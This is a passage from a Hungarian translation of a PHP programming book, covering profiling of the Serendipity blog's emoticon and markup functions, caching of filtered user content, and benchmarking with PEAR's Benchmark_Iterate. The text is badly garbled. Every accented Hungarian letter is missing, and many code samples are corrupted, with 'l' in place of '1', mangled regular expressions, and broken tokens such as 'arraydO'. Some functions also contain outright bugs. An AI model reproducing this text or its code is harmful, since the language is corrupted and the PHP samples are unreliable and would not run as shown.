el kell ksztennk: Megvltoztak az adatok. - Amikor a kd kszlt (vekkel korbban), a felhasznli stik kisebbek voltak (mretk nem rte el a 100 bjtot), gy a terhels sem volt ekkora. A hiba nem jrt komoly kvetkezmnyekkel. - Egy hossz folyamatban kialakul 30%-os lassuls termszettl fogva nehezen kvethet. A 100 ms s a 130 ms kzti klnbsg tl kicsi az emberi rzkszervek szmra. Ha a gpek jval teljestkpessgk alatt vannak kihasznlva (mrpedig sok projektnl ez a helyzet), a lelassulsok mg sszeaddva sem htrltatjk a forgalmat. Eredetileg is elg hatkonynak tnt - a kdolfggvnyek hatkonyak -, legalbbis a PHP lehetsgeihez mrten. Radsul, tudva azt, hogy tbb mint 2000 beptett fggvny ltezik a PHP-ben, nem olyan nagy dolog, ha valaki nem akad r a base64_encode () -ra, amikor beptett hexadecimlis kdolt keres. Az alkalmazs kdja tl nagy volt. - Csaknem egymilli sornyi PHP kdot szemlyesen tvizsglni lehetetlen. Radsul, mivel a hexencode nem a PHP beptett fggvnye, mg a programozsi krnyezetet is ismerni kell ahhoz, hogy tudhassuk, a base64_encode () ugyanarra kpes. Profilkszt nlkl ez a hiba biztosan nem kerlt volna felsznre. A kd tl rgi volt mr, s tl mlyen volt elsva ahhoz, hogy valaha is felfedezzk egyszer mdszerekkel.

480

PHP fejleszts felsfokon

Megjegyzs

Van ennek a stihasznlati mdnak mg egy gyenge pontja. Ha a felhasznl stijt minden elrskor visszalltjuk, ezzel azt biztosthatjuk, hogy a munkamenet 15 perc elteltvel avul el. Ehhez azonban szksg van a sti jrakdolsra s visszalltsra minden elrskor. Ha az elavuls idejt egy vletlenszer, 15 s 20 perc kzti rtkben hatrozzuk meg, akkor elg lesz olyankor visszalltani a stt, ha mr legalbb 5 perce megszletett. Ez szintn jelents sebessgnvekedst eredmnyezhet.

A felesleges szolgltatsok eltvoltsa


Miutn azonostottunk s megszntettnk minden olyan nyilvnval szk keresztmetszetet, melynek mdostsa nem jrt lnyegi vltozsokkal, az APD segtsgvel azokat a lehetsgeket is kigyjthetjk, melyek termszetknl fogva kltsgesek. A program ilyen lefaragsa gyakoribb az alkalmazott projektekben (pldul olyankor, amikor egy szabad webnaplt vagy webes levelezrendszert ptnk egy nagyobb programba), mint otthoni fejlesztseknl - jllehet ott is elfordulhat (ha pldul j, nagyobb adatforgalmat lebonyolt szerepet sznunk alkalmazsunknak). A lehetsgek megnyirblsnl kt utat kvethetnk. Vgighaladhatunk sorban egyms utn a termk egyes lehetsgein, s kidobhatjuk azokat, amelyekre nincs szksgnk (ezt fellrl lefel irnyul mdszernek szoktam hvni). A msik mdszer, ha elksztjk a kd profiljt, azonostjuk a kltsges lehetsgeket, s ezek kzl vlasztjuk ki a kidobandkat (alulrl felfel irnyul mdszer). A fellrl lefel irnyul mdszernek van egy elnye: gy biztosan kidobunk mindent, amire nincs szksgnk. Ugyanakkor az alulrl felfel irnyul mdszer sem elvetend: Azonost egyes lehetsgeket. Szmos projektben vannak ugyanis olyan lehetsgek, melyekrl egy sz sem esik a lersban. Nmi rltst ad arra, mely lehetsgek lehetnek hasznosak, s melyek felttlenl szksgesek. Adatokat szolgltat a tisztogats sorrendjnek meghatrozshoz. Jmagam ltalban jobban kedvelem az alulrl felfel irnyul mdszert, ha egy kls gyrt termkt elemzem, mieltt lesben munkba lltanm - itt ugyanis nincs listm az eltvoltand lehetsgekrl, mindssze a kvnt szintre szeretnm emelni a teljestmnyt. Trjnk vissza a Serendipity pldjhoz. A gyenge pontok keresst kezdhetjk a hvsokkal egytt mrt idk alapjn kapott sorrend vizsglatval. A 18.7. brn egy j nyomkvets eredmnyt lthatjuk (a korbbi optimalizlsok utn), a hvsok nlkli vals idtartamok alapjn rendezve. E listn kt igazn kiugr eredmnyt lthatunk: a def ine () fggvnyt s a preg_replace () hvsokat.

18. fejezet Profilkszts

481

18.7. bra Profilunk az optimalizls utn. ltalban nem tartom blcs dolognak, hogy vlemnyt mondjak a def ine () hatkonysgrl. Hasznlatnak alternatvja ugyanis egy globlis vltoz alkalmazsa. Ezek deklarcii a nyelv rszei (ellenttben a def ine () -nal, ami egy fggvny), gy az ltaluk a rendszerre rtt tbletteher nehezen mrhet az APD mdszereivel. Az egyetlen megolds, amit ajnlhatok, hogy troljuk llandinkat const osztlyllandk alakjban. Ha fordti gyorstrat hasznlunk, az trolja ezeket az osztly meghatrozsval, gy nem kell ket minden krelemnl jra pldnyostani. A preg_replace () hvsok tbb figyelmet rdemelnek. A hvsi fa hasznlatval (gy valban tallhatunk hvott preg_replace () pldnyokat) leszkthetjk az elfordulsok tbbsgt a kvetkez fggvnyre: function serendipity_emoticate($str) global $serendipity; {

482

PHP fejleszts felsfokon

foreach ($serendipity["smiles"] as $key => $value) { $str = preg_replace("/([\t\ ]?)".preg_quote($key,"/"). "([\t\ \!\.\)]?)/m", "$l<img src=\"$value\" />$2", $str); } return $str; } Itt a serendipity [ ' smiles ' ] meghatrozsa a kvetkez: $serendipity["smiles"] = arrayt":' (" => $serendipity["serendipityHTTPPath"]."pixel/cry_smile.gif", ":-)" => $serendipity["serendipityHTTPPath"]."pixel/regular_smile.gif", ":-0" => $serendipity["serendipityHTTPPath"]."pixel/embaressed_smile.gif", ":0" => $serendipity["serendipityHTTPPath"]."pixel/embaressed_smile.gif", ":-(" => $serendipity["serendipityHTTPPath"]."pixel/sad_smile.gif", ":(" => $serendipity["serendipityHTTPPath"]."pixel/sad_smile.gif", ":)" => $serendipity["serendipityHTTPPath"]."pixel/regular_smile.gif", "8-) " => $serendipity["serendipityHTTPPath"]."pixel/shades_smile.gif", ":-D" => $serendipity["serendipityHTTPPath"]."pixel/teeth_smile.gif", ":D" => $serendipity["serendipityHTTPPath"]."pixel/teeth_smile.gif", "8)" => $serendipity["serendipityHTTPPath"]."pixel/shades_smile.gif", ":-P" => $serendipity["serendipityHTTPPath"]."pixel/tounge_smile.gif", ";-)" => $serendipity["serendipityHTTPPath"]."pixel/wink_smile.gif", "; ) " => $serendipity["serendipityHTTPPath"]."pixel/wink_smile.gif", ":P" => $serendipity["serendipityHTTPPath"]."pixel/tounge_smile.gif", ); s me a fggvny, amely valjban alkalmazza a jellseket, kpeket helyettestve az emotikonok helybe, s ms rvid jelek alkalmazst is lehetv tve: function serendipity_markup_text($str, $entry_id = 0) { global $serendipity; $ret = $str; $ret $ret $ret $ret = = = = str_replace('\_', chr(l), $ret); preg_replace('/#([[:alnum:]]+?)#/','&\1;',$ret); preg_replace('/\b_([\S ]+?)_\b/','<u>\l</u>',$ret); str_replace(chr(1), '\_', $ret);

// flkvr $ret = str_replace('\*',chr(1),$ret); $ret = str_replace('**',chr(2) , $ret) ; $ret = preg_replace('/(\S)\*(\S)/ ' , '\1' . chr(l) . '\2',$ret); $ret = preg_replace('/\B\*(["*]+)\*\B/', '<strong>\l</strong>',$ret) ; $ret = str_replace(chr(2),'**',$ret); $ret = str_replace(chr(1),'\*',$ret);

18. fejezet Profilkszts

483

// rgztett szlessg betk $ret = str_replace('\%',chr(l),$ret); $ret = preg_replace_callback('/%([\S ]+?)%/', 1serendipity_format_tt', $ret); $ret = str_replace(chr(l),'%',$ret) ; $ret = preg_replace('Al([0-9a-fA-F]+?)\l([\S ]+?)\l/', '<font color="\l">\2</font>',$ret); $ret = preg_replace('/\A([[:alnum:]]+?)W','<sup>\l</sup>',$ret); $ret = preg_replace ( ' A@( [ [ :alnum: ] ]+?) \@/ ' , '<sub>\l</sub>' , $ret) ; $ret = preg_replace('/([\\\]) ([*#_r@%])/\ ' \2 ' , $ret) ; if ($serendipity['track_exits']) { $serendipity['encodeExitsCallback_entry_id'] = $entry_id; $ret = preg_replace_callback( "#<a href=(\"I')http://([A"']+)(\"l')#im",

'serendipity_encodeExitsCallback', $ret
);
}

return $ret;
}

Az els fggvny, a serendipity_emoticate () vgighalad egy karakterlncon, s kicserl minden emotikont - pldul a mosolygs arc :) jelt - egy kphivatkozsra. Mindez rtelemszeren arra szolgl, hogy a webnapl alkalmazs kicsinosthassa a felhasznlk bejegyzseit. Ez a bejegyzsek megjelentsekor trtnik, ami lehetv teszi a felhasznlk szmra, hogy utlag megvltoztathassk webnapljuk megjelenst (belertve az emotikonokat is) gy, hogy ne kelljen kzzel tszerkesztenik az sszes bejegyzst. Mivel 15 alaprtelmezett emotikon ltezik, a rendszer 15-szr futtatja a preg_replace () -t minden webnaplbejegyzs megjelentsnl. A msodik, serendipity_markup_text () nev fggvny bizonyos szvegformzsi lehetsgeket valst meg. Vegyk pldul az albbi szveget: *hello* Ennek helybe ez kerl:
<strong>hello</strong>

484

PHP fejleszts felsfokon

Ms, hasonl helyettestsekre is sor kerl. A mdostsokat a rendszer itt is a megjelentskor hajtja vgre, gy visszamenlegesen is t lehet alaktani a bejegyzseket. Ez a fggvny kilencszer hvja meg a preg_replace () -t s nyolcszor az str_replace () -t minden egyes bejegyzsnl. Ezek valban csods lehetsgek, de igen kltsgess vlnak a forgalom nvekedsvel. Egyetlen rvid bejegyzsnl is ezek a fggvnyek teszik ki a program futsidejnek csaknem 15%-t. Sajt webnaplmon mr annyit btykltem, hogy gy is tbbre kpes, mint amennyire valaha is szksg lesz. Ha azonban ezt olyan felhasznlk kezbe adjuk, akik egy nagy forgalm webhelyen tevkenykednek, a tbbletteher eltvoltsa ltfontossg lehet. E hvsok hatsnak kivdsre kt lehetsgnk van. Elszr is, egyszeren eltvolthatjuk a hvsokat. Az emotikonok kezelsre alkalmazhatunk egy JavaScriptben rt szerkesztt, amely lehetv teszi, hogy a felhasznlk egy menbl vlasszk ki a kvnt kpeket. A szvegformzsi lehetsgek helyett megkvetelhetjk, hogy a felhasznlk maguk alkalmazzanak HTML jellseket. Msodszor, megtarthatjuk mindkt lehetsget, ha elrehozzuk alkalmazsukat a bejegyzsek mentsnek idejre - gy csak itt jelentkezik a tbbletteher. Mindkt mdszernl elesnk a korbbi bejegyzsek automatikus talaktsnak lehetsgtl, gy csak akkor sznjuk r magunkat ilyen lpsekre, ha erre valban szksg van.

Egy harmadik mdszer a kltsges jellsek kezelsre

Dolgoztam egyszer egy webhelyen, ahol egy szablyos kifejezsekbl ll knyvtrat hasznltak a trgrsgok s a rosszindulat JavaScript, illetve CSS kdok kiszrsre a felhasznlk ltal feltlttt tartalombl (a helykzi tmadsok kivdsre). Mivel a felhasznlk igen lelemnyesnek mutatkoztak a kromkodsok tern, a trgrsgok listja folyamatosan bvlt, ahogy a fenntartk ismerkedtek az egyre jabb s szokatlanabb kifejezsekkel. A webhely forgalma igen nagy volt, ami azt jelentette, hogy a tisztogatsi folyamat nem mehetett vgbe rgtn a krelmek fogadsnl (egyszeren tl kltsges volt), de a trgrsgok listjnak dinamikus jellege megkvetelte, hogy j szrsi szablyokat alkalmazhassunk meglev bejegyzsekre is. Sajnlatos mdon a felhasznlk tl sokan voltak ahhoz, hogy ezt a szrt minden bejegyzsre alkalmazzuk. Az ltalunk kitallt megolds kt tartalomtblt s igny esetn alkalmazott gyorstrat hasznlt. A mestertblban a felhasznl bejegyzsnek vltozatlan msolatt troltuk. Amikor ezt elszr lekrtk, alkalmaztuk r az aktulis szrt, s az eredmnyt a gyorstrtblba helyeztk. A tovbbi krelmek berkezsekor a rendszer elszr a gyorstrban kereste a krt bejegyzst, s csak kudarc esetn fordult a mestertblhoz az jratrols rdekben. Ha a szr bvlt, a rendszer kirtette a gyorstrat, gy az ezt kvet j krel-

18. fejezet Profilkszts

485

mek nyomn a bejegyzseket jra a mestertblban kellett elszr keresni, majd ezt kveten trni a gyorstrtblba. Ez a gyorstrtbla egybknt klnsebb nehzsg nlkl felvlthat egy hlzati fjlrendszerrel is. Ez a ktszint mdszer csaknem olyan j eredmnyt adott, mint a feltltskor mdost megolds. A szablyhalmaz frisstsekor tapasztalhat volt egy jelents megugrs az erforrsok hasznlatban - ez volt annak az ra, hogy krelmenknti mdostssal lhettnk. E mdszer egyetlen htultje a korbbiakkal szemben a ktszeres trigny (hiszen az eredeti s a gyorstrbeli pldnyokat kln kell vlasztani), esetnkben azonban ez jcskn megrte.

Tovbbi olvasmnyok
Az igazat megvallva, a szakirodalom nem bvelkedik a PHP profilkszts eszkzeivel foglalkoz mvekben. A fejezetnkben emltett profilksztk mindegyiknek webhelyn tallhatunk nmi tmutatst a hasznlatukkal kapcsolatban, de nem ismeretes tfog trgyals a profilkszts mestersgrl. A PHP szint profilksztk mellett ltezik szmos alacsonyabb szint is, melyekkel a rendszer profiljt elkszthetjk. Ezek igen hasznosak lehetnek, ha a PHP nyelv teljestmnynek nvelse a clunk, de kevsb jl hasznlhatk egyes alkalmazsok teljestmnynek javtsban. A gondot az jelenti, hogy igen nehz kzvetlenl sszektni az alacsonyabb szint (motorbeli) C fggvnyhvsokat, vagy rendszermaghvsokat a PHP kdban vgzett mveletekkel. Mindazonltal lssunk nhny C-profilksztsi segdeszkzt is: A gprof, vagyis a GNU profilksztje szinte minden rendszeren elrhet. Nagyszeren hatrozza meg a C kd profiljt, de esetenknt nehz rtelmezni az eredmnyt. A valgrind a hozz tartoz kcachegrind grafikus felhasznli fellettel egytt j memriabeli hibakerest s profilksztt ad a Linux rendszerekhez. Ha Linuxon C-ben programozunk, mindenkppen tanuljuk meg a hasznlatt. Az ooprof ile egy magszint profilkszt Linux rendszerekhez. Amennyiben alacsonyszint hibakeresst kell vgeznnk, melyben egy alkalmazs rendszerhvsainak profiljt kell elksztennk, az ooprof ile nagyszer segttrsnak bizonyulhat.

Szintetikus mrs: kdblokkok s fggvnyek rtkelse

A 18. fejezetben teljes alkalmazsok teljestmnyvizsglatval foglalkoztunk. Ez igen hasznos mdszer weboldalak sszehasonlt elemzsre, a lass oldalak feldertsre, s a hangols eredmnynek ellenrzsre. Hasonl mdszerek hasznlatosak a kdblokkok albbihoz hasonl sszevetsnl: A while () vagy a f oreach () ciklus gyorsabb? A karakterlnc elejn tallhat karakterek vizsglatban a substr () vagy az strstr () gyorsabb? A vlaszokat kereshetjk a hlzaton a PHP archvumokban, vagy utnanzhetnk egy knyvben (akr ebben is), de e mdszerek egyike sem mondhat igazn hatkonynak. A PHP egyik erssge ugyanis ppen gyors fejldsben ll. A ma ltez teljestmnyklnbsgek holnapra eltnhetnek - s ilyen vltozsok nem csak a fbb kiadsokban jelenhetnek meg, hiszen a PHP mgtt ll nylt forrs fejlesztsi modell azt jelenti, hogy a gondok megoldshoz csak annyi kell, hogy elg fejlesztt rintsenek. Hamar lssunk is kt pldt az ilyen tpus vltozsokra: A PHP 4.3-as vltozata eltt a vltozk beszrsa a karakterlncokba sokkal lassabban mkdtt, mint a karakterlncok sszefzse. (Lsd ksbb, a Beszrs vagy sszefzs? cmsznl.) A beptett parse_url () fggvny hasznlata sokkal lassabb volt, mint ha az URL-eket sajt kdunkban a preg_match segtsgvel rtelmeztk. A 4.3-as vltozatban ez is megvltozott. (Lsd ksbb, az Egyb idmrsi adatok cmsznl.) Ha ltfontossg kdot hangolunk, mindig jobb, ha magunk vgezzk el az sszehasonltsokat, s vlasztjuk ki a megfelel kdhasznlatot - ne hagyatkozzunk msok mrsi eredmnyeire.

488

PHP fejleszts felsfokon

Ahhoz, hogy a korbban emltett s ms hasonl krdsekre vlaszt talljunk, sajt szintetikus mrprogramokat kell ksztennk, amelyek lehetsget adnak kis kdrszletek, illetve egyes fggvnyek vizsglatra, erforrs-hasznlatuk felmrsre (s az sszehasonlts rvn cskkentsre). Ha e mrseket beptjk egysgtesztjeinkbe, nyomon kvethetjk a knyvtrak teljestmnynek vltozst az idk sorn. A szintetikus mrs annyiban tr el az alkalmazsok teljestmnyvizsglattl, hogy itt nem treksznk a vals hasznlati krlmnyek utnzsra, egyszeren egyes kdblokkok teljestmnyre vagyunk kvncsiak. A szintetikus mrprogramok jelents mltra tekinthetnek vissza a szmtgptudomnyban. Az 1950-es vekben a programozk ezekkel tltk meg, milyen fizikai rendszerekkel rhetnek el nagyobb teljestmnyt. A Whetstone - egyike a leghresebbeknek - a lebegpontos szmtsok hatkonysgnak vizsglatra szletett. Emellett ismert mdszer a Fibonacci-sorozat elemeinek kiszmtsa, a Hanoi tornyai jtk hasznlata az nhivatkoz hvsok sebessgnek vizsglatra, vagy a mtrixszorzs a lineris algebrai algoritmusok hatkonysgnak mrsre. A szintetikus mrmdszerek eredmnyei gyakran nem igaztanak el az alkalmazsok ltalnos teljestmnynek krdseiben. A helyzet az, hogy valjban itt nem trtnik semmi elviekben j dolog - egyszeren csak az alkalmazs gyengbb rszeit prbljuk optimalizlni. A mrmdszerek mellett meg kell jelennie a profilksztsnek is, ami lehetv teszi a program olyan rszeinek azonostst, amelyeken valban rdemes javtani. A j szintetikus mrprogram sszelltsnl az albbi krdseket kell sajt magunk szmra megvlaszolnunk: Valban azt vizsgljuk, amit szeretnnk? - Furcsa, hogy ez a krds egyltaln felmerl, de valban nagyon fontos, hogy tnyleg azt mrjk, amit szeretnnk. Ne feledjk, nem a teljes alkalmazst teszteljk, csak egy kis rszt. Ha nem sikerl egy elg elklnl rszletre sszpontostanunk, a mrs is veszt jelentsgbl.
gy vizsgljuk a fggvnyt, ahogy a vals helyzetekben hasznlnnk? - Az algoritmusok

teljestmnye gyakran drmaian vltozhat a bemeneti adatoktl fggen. Ha vannak bizonyos ismereteink az tadott paramterek rtkeirl, hasznljuk fel ezeket a teszt sorn is. A legjobb, ha a vals mkdsbl vett adatokkal dolgozunk. A listbl szndkosan kihagytuk a krdst: Szksg van erre a vizsglatra?". A mrs nmagban is hasznos lehet, hiszen ltala megismerkedhetnk a PHP s a Zend Engine szmos apr lehetsgvel. Egy ritkn hasznlt program tmbmveleteinek optimalizlsa nem tl sok haszonnal kecsegtet, de a PHP teljestmnnyel kapcsolatos fogalmainak ismerete hozzsegt ahhoz, hogy egy olyan programozsi stlust alaktsunk ki, ami feleslegess tesz sok ksbbi optimalizlsi lpst.

19. fejezet Szintetikus mrs; kdblokkok s fggvnyek rtkelse

489

A mrs alapjai
A mrsi eredmnyek sszehasonltsnl gyelnnk kell arra, hogy csak egyetlen szabadsgi fokban" trhessenek el egymstl. Ez azt jelenti, hogy egy vizsglat sorn csak egyetlen fggetlen tnyezben lehet klnbsg kt futtats kztt, az adatok s az algoritmus tbbi rsze pedig vltozatlan marad. Tegyk fel pldul, hogy egy olyan osztlyt ksztnk, amely beolvas egy dokumentumot, s kiszmtja a Flesch olvashatsgi pontszmot. Ha egyszerre vltoztatjuk meg a szavak s a mondatok szmllsnak algoritmust, nem tudjuk megtlni, melyik mdosts felel a teljestmny vltozsrt. Azt sem szabad elfelejtennk, hogy a mrsi eredmnyek igencsak viszonylagosak. Ha az array_walk () fggvny teljestmnyt a hordozhat gpemen sszehasonltom a f or ciklusval a fejlesztsi kiszolgln, valsznleg csak annyit llapthatok meg, hogy egy gyorsabb gpen fut f or ciklus gyorsabb, mint egy lassabb gpen fut array_walk () fggvny. Nos, ezzel nem sokra megynk. Ahhoz, hogy hasznlhat mdszert kapjunk, ugyanazon a gpen kell futtatnunk mindkettt, hacsak nem a laptop s a kiszolgl sszehasonltsa a cl - ilyenkor azonban a tesztelni kvnt fggvny legyen azonos. A szabvnyostott kezdeti adatok megadsa is fontos feladat. Szmos fggvny (kiemelend itt a szablyos kifejezsek kezelse) jelentsen eltr viselkedssel reagl, paramterei mrettl s megvlasztstl fggen. Ahhoz, hogy rtelmes sszehasonltst vgezhessnk, azonos adathalmazokat kell alkalmaznunk az sszehasonltand fggvnyek vizsglatnl. Ha rgztett adatokkal dolgozunk, hasznljuk fel azokat jra - ha pedig vletlenszer adatokat alkalmazunk, gyeljnk arra, hogy a felhasznlt mintk statisztikailag egyenrtkek legyenek.

A mrsi krnyezet kiptse


Terveink szerint jelents mennyisg kdot szeretnnk megvizsglni, gy a folyamatok automatizlsra rdemes kiptennk egy mrsi krnyezetet. Ez nemcsak a mrsi mdszerek szabvnyostsban segt, hanem abban is, hogy beptsk azokat egy egysgtesztelsi rendszerbe, mellyel vizsglhatjuk a knyvtrak, valamint a PHP-vltozat fejldsnek hatst a teljestmnyre. Az albbiakban a mrsi krnyezet nhny fontos tulajdonsgt soroljuk fel: Egyszer hasznlat - Ha egy krnyezet hasznlata nehzkes, termszetesen senki sem fogja ignybe venni a szolgltatsait. Klnsen fontos, hogy hasznlathoz ne kelljen mdostanunk a tesztelni kvnt kdot. Alacsony vagy jl mrhet tbbletterhels - Futshoz maga a mrsi krnyezet is felhasznl bizonyos erforrsokat. Fontos, hogy ezt a terhelst a lehet legkisebbre cskkentsk, vagy (ami mg jobb) pontosan lemrjk, gy levonhatjuk a kapott eredmnyekbl.

490

PHP fejleszts felsfokon

Lehetsg a kezdeti adatok tetszleges belltsra - A mrsi mdszer csak akkor adhat j eredmnyeket, ha megfelel adatokon futtatjuk, ezrt ltfontossg, hogy tetszleges bemeneti adatokat hasznlhassunk. Bvthetsg - Sokszor jl jhet, ha a begyjttt adatokat bvthetjk, illetve mdosthatjuk.

A PEAR mrcsomagja
A PEAR rendelkezik egy Benchmark_Iterate nev beptett mrcsomaggal, amely a fentiek kvetelmnyek szinte mindegyikt kielgti, gy a legtbb egyszer mrsi feladatra sikerrel alkalmazhat. A Benchmark_Iterate a kivlasztott fggvnyt egy szkre szabott ciklusban futtatja, rgztve a vgrehajtsi idket, s elrket biztostva az eredmnyek sszefoglal adataihoz. Hasznlathoz mindenekeltt teleptennk kell a Benchmark knyvtrakat. A PHP 4.3-as vltozatig a Benchmark osztlycsomaghoz hozzjutottunk a PHP-vel, ksbb azonban ez a lehetsg megsznt - most vagy letlthetjk az osztlyokat a http: / /pear. php. net cmrl, vagy vlaszthatjuk a PEAR teleptjnek hasznlatt az albbiak szerint: # pear instl1 Benchmark Ha le szeretnnk mrni a f oo () fggvny teljestmnyt 1000 vgrehajts alatt, ksztennk kell egy Benchmark_Iterate objektumot, meg kell hvnunk ennek run tagfggvnyt, megadva az vgrehajtsok szmt, s ki kell olvasnunk az tlagos futsidt: require 'Benchmark/Iterate.php'; $benchmark = new Benchmark_Iterate; $benchmark->run(1000, foo); $result = $benchmark->get() ; print "Mean execution time for foo: $result[mean]\n"; Egyszer pldaknt hasonltsuk ssze a PHP beptett max () fggvnyt a sajt magunk ltal ksztett my_max () -szl. Ennek kapcsn lthatjuk, mennyivel gyorsabban haladhatunk vgig a tmbkn beptett fggvnyekkel, mint sajt kddal. A my_max () ugyangy mkdik, mint a beptett max () fggvny - vgrehajt egy lineris keresst a bemeneti tmbn, s mindig az addig tallt legnagyobb elemet tartja meg emlkezetben: Function my_max(&$array) { $max = $array[0]; Foreach ($array as $el) { If($element > $max) {

19. fejezet Szintetikus mrs: kdblokkok s fggvnyek rtkelse

491

$max = $element; } } return $max; }

A tmbkezel fggvnyek tesztelshez hasznosak lehetnek a vletlen adatok. A knyelem kedvrt rdemes egy ilyen, vletlen tmbket kszt fggvnyt rnunk, s a ksbbi hasznlat rdekben elhelyezni a test_data. inc-ben-. Function random_array($size) { For($I=0; $I<$size; $I++) { $array[] = mt_rand();
}

return $array;
}

Elkszltnk ht az alapokkal, most mr nem nehz nhny sszehasonltst vgezni a Benchmark_Iterate segtsgvel, klnbz mret tmbket alkalmazva:
<?

require "test_data.inc"; require "Benchmark/Iterate.php"; $benchmark = new Benchmark_Iterate; print " size my_max max my_max/max\n"; foreach (arraydO, 100, 1000) as $size) { // Ksztnk egy tmbt a teszthez. // A Benchmark_Iterate nem tmogatja, // hogy minden lpshez jabb vletlen adatokat adjunk meg, // gy gyelnnk kell arra, hogy a $test_array tmbt hasznljuk // mindkt fggvny esetben $test_array = random_array($size) ; foreach (array('my_max', 'max') as $func ) { $benchmark->run(1000, $func, $test_array); $result = $benchmark->get(); $summary[$func][$size] = $result['mean']; } printf("%5d %6.6f%6.6f %3.2f\n", $size, $summary['my_max'] [$size] , $summary['max'][$size], $summary['my_max'][$size]/$summary['max'][$size]); } ?>

492

PHP fejleszts felsfokon

Hordozhat gpemen az albbi eredmnyek szlettek:


size 10 100 1000 my_max 0.000303 0.001604 0.015813 max 0.000053 0.000072 0.000436 my_max/max 5.74 22.43 36.28

A plda persze meglehetsen mesterklt. (Mr csak a termszetes lustasg okn sem jutna esznkbe sajt max () fggvnyt kszteni.) Mindazonltal jl szemlltet nhny fontos elgondolst. A beptett fggvnyek, amennyiben helyesen hasznljk ket, mindig gyorsabbak, mint a felhasznlk ltal rtak. Ennek az az oka, hogy egy rtelmezett nyelv (mint a PHP) alapjban vve gy mkdik, hogy talaktja a felhasznl kdjt bels utastsokk, s ezeket futtatja sajt virtulis gpn. Itt vgiglpkedni a kdon pedig sokkal nagyobb terhet jelent, mint egy lefordtott nyelv (mondjuk a C) utastsainl. A Benchmark_Iterate nem teszi lehetv, hogy jabb vletlen adatokat adjunk meg kt lps kztt. Jelen mrsnket ez nem zavarja, de sokszor nagy szksgnk van erre a lehetsgre. Kpzeljk el, mi volna, ha egy jabb versenytrsat is bevonnnk a kzdelembe" - a sort_max () fggvnyt, amely az asort () segtsgvel rendezi a tmbt, azutn egyszeren kiadja az els elemet: function sort_max($array) { return array_pop(asort($array));
}

Szmos rendez algoritmus (kztk a quicksort, melyet a PHP minden rendez algoritmusa alkalmaz) jelentsen eltr viselkedst mutat a legrosszabb s a legjobb esetben, gy egy szerencstlen vletlen adatvlaszts flrevezet eredmnyeket adhat. A szls esetek kiejtsre lefuttathatjuk tbbszr a mrseket - termszetesen egy j mrprogram ezt megoldja helyettnk. A Benchmark_lterate lass - nagyon lass. Ennek oka az, hogy jval tbb munkt vgez a szksgesnl. A run () tagfggvny kzponti ciklusa gy fest: for ($i = 1; $i <= $iterations; $i++) { $this->setMarker('start_' . $ i ) ; call_user_func_array($function_name, $arguments); $this->setMarker('end_' . $ i ) ;
}

19. fejezet Szintetikus mrs: kdblokkok s fggvnyek rtkelse A setMarker () egy, a Benchmark_Timer-tl rklt tagfggvny, ami gyakorlatilag nem tesz mst, mint meghvja a microtime () eljrst (ami viszont a gettimeof day () rendszerhvs fellete). A rendszerra elrse nem nevezhet olcs mveletnek egyetlen programnyelvben sem. Ha nem rdekelnek bonyolultabb statisztikai adatok az tlagos futsidnl, semmi szksg minden lpsnl rgztennk a futsidt. A Benchmark_Iterate rendes faliraidt" ad vissza. Nha szksgnk lehet rszletesebb adatokra is, pldul a getrusage () eredmnyre. A felhasznli fggvnyek s osztlytagfggvnyek hvsa szintn kltsges lehet. Ezrt ha igen gyorsan mkd fggvnyeket vagy fggvnyen kvli kdblokkokot vizsglunk, a felhasznli burkolban meghvott idmr fggvnyhvsok elfedhetik a valdi eredmnyeket.

493

A mrrendszer kiptse
Mivel knyvnkben eddig is tudatosan prbltuk elkerlni a kerk jrafeltallst, most is megksrlnk minl tbb programozi munkt megtakartani. Szerencsre a Benchmark_Iterate tiszta, objektumkzpont szerkezettel br, ami viszonylag knnyv s gyorss teszi a bvtst. Mindenekeltt idzznk el egy kicsit a Benchmark_Timer s a Benchmark_Iterate osztlydiagramjnl. A 19.1. brn a Benchmark_Iterate s szlsztlyainak igencsak lecsupasztott UML diagramjt lthatjuk. A Benchmark_Iterate ltal nem hasznlt tulajdonsgokat s tagfggvnyeket az egyszersg kedvrt most elhagytuk.

19.1. bra A Benchmark_Iterate osztlydiagramja, azokkal a tagfggvnyekkel, amelyeket rdemes lehet fellrni sajt mrrendszernk kiptsnl.

494

PHP fejleszts felsfokon

Amint a 19.1. brn lthatjuk, a mrs kzponti tagfggvnyei a run () s a get (). A httrben az elbbi meghvja a setMarker () tagfggvnyt kzvetlenl minden mrt hvs eltt s utn. A setMarker () az idt a microtime segtsgvel ezredmsodperc pontossggal kiolvassa, majd egy jelet rgzt a markers tmbben ezzel az idvel. A get () a timeElapsed () tagfggvny segtsgvel kveti a jelek kzti idtartamokat. Visszatrsi rtke egy tmb a lpsek vgrehajtsi idivel, valamint kt tovbbi kulcs: az iterations, ami a fggvny vgrehajtsainak szmt adja meg, valamint a mean, ami a lpseken vett tlagos vgrehajtsi idt mutatja.

Vletlen adatok lpsenknti hasznlata


A vletlen adatok nagyszer segttrsaink lehetnek a mrsekben. Amikor elksztnk egy fggvnyt, ritkn tudhatjuk biztosan; milyen adatokat adnak t neki a ksbbiekben. A vletlen adatok alkalmazsa a tesztels sorn lehetv teszi, hogy kiszrjk a szlssges teljestmny eseteket. A gyri mrrendszerek osztlyaival az a nagy gond, hogy azeltt kell megadnunk bemeneti adataikat, hogy megkezdenk a futtatsi ciklust. Ha ilyenkor vletlen adatokat adunk meg, azzal sem jrunk igazn jl, hiszen gy vgl egyetlen (jllehet vletlen) esetet vizsgltunk. Az igazi az volna, ha jabb s jabb vletlen adatokat adhatnnk meg minden ismtlsnl - gy fedhetnnk le valban a bemenetek szles skljt. Az idelis API az lenne, ha megadhatnnk vletlen adatkszt fggvnynket, melyet a program minden lps elejn meghvna. Lssuk, hogyan bvthetjk a Benchmark_Iterate osztlyt, hogy jobban megfeleljen ilyen ignyeinknek: require 'Benchmark/Iterate.php';F class RandomBench extends Benchmark_Iterate { function run_random() { $arguments = func_get_args() ; $iterations = array_shift($arguments); $function_name = array__shift($arguments); $argument_generator = array_shift($arguments); if (strstr($function_name, ' : : ' ) ) { $function_name = explode('::', $function_name); $objectmethod = $function_name[1];
}

if

(strstr($function_name, ' - > ' ) ) { $function_name = explode( ' - > ' , $function_name); $objectname = $function_name[0] ; global ${$objectname}; $objectmethod = $function_name[1]; for ($i = 1; $i <= $iterations; $ i + + ) { $random_data = $argument_generator() ; $this->setMarker('start_' . $ i ) ; call_user_method_array($function_name[1] , ${$objectname}, $random_data);

19. fejezet Szintetikus mrs: kdblokkok s fggvnyek rtkelse

495

$this->setMarker('end_'
}

$i ) ;

return(0);
}

